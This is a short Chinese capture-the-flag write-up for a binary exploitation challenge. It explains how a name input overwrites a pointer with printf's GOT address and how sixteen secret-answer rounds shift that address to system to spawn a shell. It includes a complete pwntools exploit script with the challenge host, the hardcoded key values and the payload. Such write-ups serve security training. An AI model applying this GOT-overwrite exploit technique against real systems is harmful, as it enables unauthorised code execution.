感觉这道题技巧性比较强
有两次输入 一次名字,一次 密码
先进 46A3AF
这里有一次输入 name
看一下 0x40136D的汇编
这里每次有一次 调用 0x46A329,并且 有一次cmp比较; 那么进入 0x46a329
进去看看0x401301
发现 printf_plt 的位置 与 system的位置相差0x10即16
我们可以一开始输入name的时候输入bin/sh; 把0x46d090覆盖为printf_plt,
经过16次输入比较, 前15次输入对的,最后一次输入错误的,使地址偏移为 system,
得到flag;
思路
输入name 为 bin/sh
修改off_46D090, 为printf_got。
答对15次,答错一次刚好16次即0x10
使得printf_got指向system
from pwn import *
p = remote('node3.buuoj.cn',26671)
elf = ELF('./2')
printf_got=elf.got['printf']
keys=[0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload='/bin/sh\x00'.ljust(0x10,'a')+p32(printf_got)
p.sendlineafter("What's your name?",payload)
for a in keys:
p.sendlineafter('Secret:',str(a))
p.sendlineafter('Secret:','1')
p.interactive()